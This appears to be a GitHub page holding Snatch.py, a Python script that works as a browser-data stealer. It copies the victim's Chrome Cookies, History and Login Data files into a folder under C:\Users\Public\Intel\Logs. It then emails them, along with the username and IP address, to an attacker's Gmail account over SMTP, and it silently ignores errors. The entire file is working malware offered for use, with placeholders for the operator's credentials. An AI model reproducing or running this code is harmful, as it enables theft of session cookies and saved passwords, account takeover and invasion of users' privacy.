-
Notifications
You must be signed in to change notification settings - Fork 27
/
Snatch.py
112 lines (92 loc) · 2.6 KB
/
Snatch.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import os
import errno
import shutil
import socket
import base64
import smtplib
import getpass
import datetime,time
from email import Encoders
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEMultipart import MIMEMultipart
currentdir = os.getcwd()
curentuser = getpass.getuser()
path_to_cookies = "C:\Users\Public\Intel\Logs"
passkey = # Your Gmail password. Make sure to encode it.
userkey = # Your Gmail username. Make sure to encode it.
try:
os.makedirs(path_to_cookies) #Copying the cookies, history and login data file to a secure location
except OSError as exception:
if exception.errno != errno.EEXIST:
raise
try:
ip_address = socket.gethostbyname(socket.gethostname()) #getting the ip address of the target
except:
pass
def cookiestealer():
cookiepath = 'C://Users//' + curentuser + '//AppData//Local//Google//Chrome//User Data//Default//'
cookiefile = 'Cookies'
historyfile = 'History'
LoginDatafile = "Login Data"
copycookie = cookiepath + "//" + cookiefile
copyhistory = cookiepath + "//" + historyfile
copyLoginData = cookiepath + "//" + LoginDatafile
filesindir = os.listdir(path_to_cookies)
if copycookie not in filesindir:
try:
shutil.copy2(copycookie, path_to_cookies)
except:
pass
else:
pass
if copyhistory not in filesindir:
try:
shutil.copy2(copyhistory, path_to_cookies)
except:
pass
else:
pass
if copyLoginData not in filesindir:
try:
shutil.copy2(copyLoginData, path_to_cookies)
except:
pass
else:
pass
return True
def sendData(fname,fext):
attach = "C:\Users\Public\Intel\Logs"+'\\'+fname+fext
ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
SERVER = "smtp.gmail.com"
PORT = 465
USER= userkey
PASS= passkey
FROM = USER
TO = userkey
SUBJECT = "Attachment "+ "From --> " + curentuser+ " Time --> " + str(ts)
TEXT = "This attachment is sent from python" + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address
message = MIMEMultipart()
message['From'] = FROM
message['To'] = TO
message['Subject'] = SUBJECT
message.attach(MIMEText(TEXT))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attach))
message.attach(part)
try:
server = smtplib.SMTP_SSL()
server.connect(SERVER,PORT)
server.ehlo()
server.login(USER,PASS)
server.sendmail(FROM, TO, message.as_string())
server.close()
except Exception as e:
pass
return True
cookiestealer()
sendData("Cookies","")
sendData("History","")
sendData("Login Data","")